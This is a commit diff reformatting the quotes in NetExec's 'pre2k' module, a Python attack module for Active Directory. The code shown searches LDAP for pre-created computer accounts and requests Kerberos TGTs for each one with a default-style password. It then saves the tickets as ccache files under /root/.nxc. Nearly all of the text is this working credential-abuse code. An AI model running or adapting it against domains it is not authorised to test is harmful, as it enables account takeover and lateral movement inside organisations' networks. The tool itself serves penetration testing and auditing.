Update pre2k.py

Signed-off-by: Shad0wC0ntr0ller <90877534+Shad0wC0ntr0ller@users.noreply.github.com>

Author: Shad0wC0ntr0ller

nxc/modules/pre2k.py

@@ -4,17 +4,16 @@
 from impacket.krb5.ccache import CCache
 from impacket.krb5.types import Principal
 from impacket.krb5 import constants
-from binascii import unhexlify
 
 class NXCModule:
     """
     Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each pre-created computer account.
     Module by : @shad0wcntr0ller
     
     """
-    name = 'pre2k'
-    description = 'Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each'
-    supported_protocols = ['ldap']
+    name = "pre2k"
+    description = "Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each"
+    supported_protocols = ["ldap"]
     opsec_safe = True
     multiple_hosts = False
 
@@ -27,18 +26,18 @@ def on_login(self, context, connection):
             context.log.info(f"Connecting to LDAP server at ldap://{connection.host}")
 
             if connection.kerberos:
-                ldap_connection = ldap.LDAPConnection(f'ldap://{connection.host}', connection.baseDN, None)
+                ldap_connection = ldap.LDAPConnection(f"ldap://{connection.host}", connection.baseDN, None)
                 ldap_connection.kerberosLogin(connection.username, connection.password, connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, aesKey=connection.aesKey, kdcHost=connection.kdcHost)
             else:
-                ldap_connection = ldap.LDAPConnection(f'ldap://{connection.host}', connection.baseDN, None)
+                ldap_connection = ldap.LDAPConnection(f"ldap://{connection.host}", connection.baseDN, None)
                 ldap_connection.login(connection.username, connection.password, connection.domain, lmhash=connection.lmhash, nthash=connection.nthash)
 
             # Define the search filter for pre-created computer accounts
-            search_filter = '(&(objectClass=computer)(userAccountControl=4128))'
-            attributes = ['sAMAccountName', 'userAccountControl', 'dNSHostName']
+            search_filter = "(&(objectClass=computer)(userAccountControl=4128))"
+            attributes = ["sAMAccountName", "userAccountControl", "dNSHostName"]
 
-            context.log.info(f'Using search filter: {search_filter}')
-            context.log.info(f'Attributes to retrieve: {attributes}')
+            context.log.info(f"Using search filter: {search_filter}")
+            context.log.info(f"Attributes to retrieve: {attributes}")
 
             computers = []
 
@@ -49,17 +48,17 @@ def on_login(self, context, connection):
 
                 for item in search_results:
                     if isinstance(item, ldapasn1.SearchResultEntry):
-                        context.log.debug(f'Raw item: {item.prettyPrint()}')
+                        context.log.debug(f"Raw item: {item.prettyPrint()}")
 
                         sam_account_name = None
                         user_account_control = None
 
-                        for attribute in item['attributes']:
-                            context.log.debug(f'Attribute: {attribute.prettyPrint()}')
-                            if str(attribute['type']) == 'sAMAccountName':
-                                sam_account_name = str(attribute['vals'][0])
-                            elif str(attribute['type']) == 'userAccountControl':
-                                user_account_control = str(attribute['vals'][0])
+                        for attribute in item["attributes"]:
+                            context.log.debug(f"Attribute: {attribute.prettyPrint()}")
+                            if str(attribute["type"]) == "sAMAccountName":
+                                sam_account_name = str(attribute["vals"][0])
+                            elif str(attribute["type"]) == "userAccountControl":
+                                user_account_control = str(attribute["vals"][0])
 
                         context.log.debug(f"Processing computer: {sam_account_name}, UAC: {user_account_control}")
 
@@ -69,30 +68,30 @@ def on_login(self, context, connection):
                             # Check if the account is a pre-created computer account
                             if user_account_control == 4128:  # 4096 | 32
                                 computers.append(sam_account_name)
-                                context.log.debug(f'Added computer: {sam_account_name}')
+                                context.log.debug(f"Added computer: {sam_account_name}")
 
                 # Save computers to file
-                base_dir = '/root/.nxc/DiscoveredComputers'
+                base_dir = "/root/.nxc/DiscoveredComputers"
                 domain_dir = os.path.join(base_dir, connection.domain)
-                output_file = os.path.join(domain_dir, 'precreated_computers.txt')
+                output_file = os.path.join(domain_dir, "precreated_computers.txt")
 
                 # Create directories if they do not exist
                 os.makedirs(domain_dir, exist_ok=True)
 
-                with open(output_file, 'w') as file:
+                with open(output_file, "w") as file:
                     for computer in computers:
-                        file.write(f'{computer}\n')
+                        file.write(f"{computer}\n")
 
                 # Print discovered pre-created computer accounts
                 if computers:
                     for computer in computers:
-                        context.log.highlight(f'Pre-created computer account: {computer}')
-                    context.log.success(f'Found {len(computers)} pre-created computer accounts. Saved to {output_file}')
+                        context.log.highlight(f"Pre-created computer account: {computer}")
+                    context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}")
                 else:
-                    context.log.info(f'No pre-created computer accounts found.')
+                    context.log.info("No pre-created computer accounts found.")
 
                 # Obtain TGTs and save to ccache
-                ccache_base_dir = '/root/.nxc/ccache'
+                ccache_base_dir = "/root/.nxc/ccache"
                 os.makedirs(ccache_base_dir, exist_ok=True)
 
                 successful_tgts = 0
@@ -103,16 +102,16 @@ def on_login(self, context, connection):
                         successful_tgts += 1
 
                 # Summary of TGT results
-                context.log.success(f'Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}')
+                context.log.success(f"Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}")
 
             except Exception as e:
-                context.log.fail(f'Error occurred during search: {e}')
+                context.log.fail(f"Error occurred during search: {e}")
 
             ldap_connection.close()
             return True
 
         except Exception as e:
-            context.log.fail(f'Error occurred during LDAP connection: {e}')
+            context.log.fail(f"Error occurred during LDAP connection: {e}")
             return False
 
     def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir):
@@ -125,27 +124,27 @@ def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir):
                 clientName=userName,
                 password=password,
                 domain=domain,
-                lmhash='',
-                nthash='',
-                aesKey='',
+                lmhash="",
+                nthash="",
+                aesKey="",
                 kdcHost=kdcHost,
                 serverName=None
             )
 
             self.save_ticket(context, username, tgt, oldSessionKey, ccache_base_dir)
-            context.log.success(f'Successfully obtained TGT for {username}@{domain}')
+            context.log.success(f"Successfully obtained TGT for {username}@{domain}")
             return True
         except Exception as e:
-            context.log.fail(f'Failed to get TGT for {username}@{domain}: {e}')
+            context.log.fail(f"Failed to get TGT for {username}@{domain}: {e}")
             return False
 
     def save_ticket(self, context, username, ticket, sessionKey, ccache_base_dir):
         try:
             ccache = CCache()
             ccache.fromTGT(ticket, sessionKey, sessionKey)
-            ccache_filename = os.path.join(ccache_base_dir, f'{username}.ccache')
+            ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache")
             ccache.saveFile(ccache_filename)
-            context.log.info(f'Saved ticket in {ccache_filename}')
+            context.log.info(f"Saved ticket in {ccache_filename}")
         except Exception as e:
-            context.log.fail(f'Failed to save ticket for {username}: {e}')
+            context.log.fail(f"Failed to save ticket for {username}: {e}")